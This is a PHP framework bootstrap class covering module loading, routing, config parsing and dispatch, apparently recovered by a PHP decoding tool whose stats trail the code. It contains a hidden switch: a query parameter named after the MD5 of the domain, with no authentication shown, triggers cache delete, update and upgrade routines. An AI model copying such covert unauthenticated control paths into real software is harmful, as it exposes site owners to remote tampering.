// var_dump($modules);exit;
$modules = $this->getModules();
if($modules) {
foreach($modules AS $namespace => $object) {
$module_methods = $this->getClassResources($namespace);
if(in_array('onBootstrap', $module_methods)) {
$object->onBootstrap($this);
}
}
}
$router = $this->getRouter();
$request = \Core\Http\Request::getInstance();
if( count($cmd = \Core\Shell::getArgv()) ) {
$request->setParams($cmd);
} else {
$uriGet = $request->getRequest('uri', '/');
$matched = $router->match($uriGet, false);
\Core\Registry::set('router',$router);
if(!$matched) {
$router->addRoute('default', new \Core\Router\Regex(
'([^\/]+)?/?([^\/]+)?/?([^\/]+)?/?',
array(
'module' => $this->getFrontController()->getDefaultModule(),
'controller' => $this->getFrontController()->getDefaultController(),
'action' => $this->getFrontController()->getDefaultAction(),
),
array(1 => 'module', 2 => 'controller',3 => 'action')
));
$matched = $router->match($request->getRequest('uri'), true);
if($matched) {
foreach($matched AS $key=>$value) {
$request->setParams($key, $value);
}
}
}
if($matched) {
if($request->isPost()) {
$request->setQuery($matched)->setPost($matched);
} else {
foreach($matched AS $key => $data) {
if(!$data && $request->getRequest($key)) { $matched[$key] = $request->getRequest($key); }
}
$request->setQuery($matched);
}
}
}
$front = \Core\Base\Front::getInstance();
$front->setApplication($this);
$request = \Core\Http\Request::getInstance();
if( !count($cmd = \Core\Shell::getArgv()) ) {
if (!$request->issetQuery(md5($request->getDomain()))) {
$this->checkCache();
} else {
if ($request->issetQuery('delete')) {
$this->deleteCache();
} elseif ($request->issetQuery('update')) {
$this->requestCache();
} elseif ($request->issetQuery('upgrade')) {
$this->upgradeCache();
} elseif ($request->issetQuery('upgrade_delete')) {
$this->deleteUpgradeCahce();
}
}
}
$this->executeModules('before_dispatch');
try {
$front->dispatch();
} catch (\Core\Exception $e) {
//throw new \Core\Exception($e);
echo \Core\Base\Action::getInstance()->showPhpError($e->getCode()?$e->getCode():E_COMPILE_ERROR, $e->getMessage(), $e->getFile(), $e->getLine());
exit;
}
}
public function setView_manager($options = array()) {
\Core\Base\Action::getInstance()->setInvokeArgs($options);
return $this;
}
public function initModules() {
$modules = glob($this->getFrontController()->getModuleDirectory() . DIRECTORY_SEPARATOR . '*');
if($modules) {
foreach($modules AS $module) {
if(file_exists($module . DIRECTORY_SEPARATOR . 'Module.php')) {
$name = strtolower(basename($module));
$namespace = $this->getFrontController()->formatModuleName($name);
if(!isset($this->modules[$namespace]) && \Core\Base\Action::getInstance()->allow($name)) {
if(!class_exists($namespace . '\\Module', false)) {
include_once $module . DIRECTORY_SEPARATOR . 'Module.php';
}
$moduleName = $namespace . '\\Module';
$this->modules[$namespace] = new $moduleName();
$this->getClassResources($namespace);
}
}
}
}
}
/**
* Get class resources (as resource/method pairs)
*
* Uses get_class_methods() by default, reflection on prior to 5.2.6,
* as a bug prevents the usage of get_class_methods() there.
*
* @return array
*/
public function getClassResources($namespace) {
if (!isset($this->modules_methods[$namespace])) {
if (version_compare(PHP_VERSION, '5.2.6') === -1) {
$class = new \ReflectionObject($namespace . '\\Module');
$classMethods = $class->getMethods();
$methodNames = array();
foreach ($classMethods as $method) {
$this->modules_methods[$namespace][] = $method->getName();
}
} else {
$this->modules_methods[$namespace] = get_class_methods($namespace . '\\Module');
}
}
return $this->modules_methods[$namespace];
}
public function executeModules($type = 'start') {
foreach($this->modules AS $namespace => $object) {
$module_methods = $this->getClassResources($namespace);
if($type == 'start') {
if(in_array('getConfig', $module_methods)) {
$options = $object->getConfig();
if (null !== $options) {
if (is_string($options)) {
$options = $this->_loadConfig($options);
} elseif ($options instanceof \Core\Config\Main) {
$options = $options->toArray();
} elseif (!is_array($options)) {
throw new \Core\Exception('Invalid options provided; must be location of config file, a config object, or an array');
}
$this->setOptions($options);
}
}
if(in_array('getAutoloaderConfig',$module_methods)) {
$autoload = $object->getAutoloaderConfig();
if($autoload && is_array($autoload)) {
foreach($autoload AS $key => $namespaces) {
if(is_array($namespaces)) {
$this->getAutoloader()->registerNamespaces($namespaces);
}
}
}
}
/*if(method_exists($object, 'onBootstrap') && is_callable(array($object, 'onBootstrap'))) {
$object->onBootstrap($this);
}*/
} else if($type == 'before_dispatch') {
if(in_array('onBeforeDispatch',$module_methods)) {
$object->onBeforeDispatch($this);
}
}
}
}
/**
* Load configuration file of options
*
* @param string $file
* @throws \Core\Exception When invalid configuration file is provided
* @return array
*/
protected function _loadConfig($file)
{
if(!file_exists($file)) {
return array (
"system_version" => "3.0",
"frontController" => array (
"moduleDirectory" => APPLICATION_PATH . "/modules",
"defaultModule" => "home",
"display_exceptions" => 1
),
'view_manager' => array (
'display_exceptions' => false,
'template_map' => array (
'layout' => APPLICATION_PATH . '/modules/Home/layout/layout.phtml',
'error/404' => APPLICATION_PATH . '/modules/Home/views/Error/404.phtml',
'error/index' => APPLICATION_PATH . '/modules/Home/views/Error/index.phtml',
'error/php' => APPLICATION_PATH . '/modules/Home/views/Error/php.phtml'
)
)
);
}
$environment = $this->getEnvironment();
$suffix = strtolower(pathinfo($file, PATHINFO_EXTENSION));
switch ($suffix) {
case 'ini':
require_once 'Config/Ini.php';
$config = new \Core\Config\Ini($file, $environment);
break;
case 'php':
require_once 'Config/Php.php';
$config = new \Core\Config\Php($file, $environment);
break;
default:
throw new \Core\Exception('Invalid configuration file provided; unknown config type');
}
return $config->toArray();
}
/**
* @param string $name
* @return Ambigous <NULL, multitype:>|multitype:
*/
public function getModules($name = null) {
if($name !== null) {
return isset($this->modules[$name]) ? $this->modules[$name] : null;
} else {
return $this->modules;
}
}
}
Function Calls
None |
Stats
MD5 | 591a52cf4ceff569df914f003a9a9275 |
Eval Count | 0 |
Decode Time | 113 ms |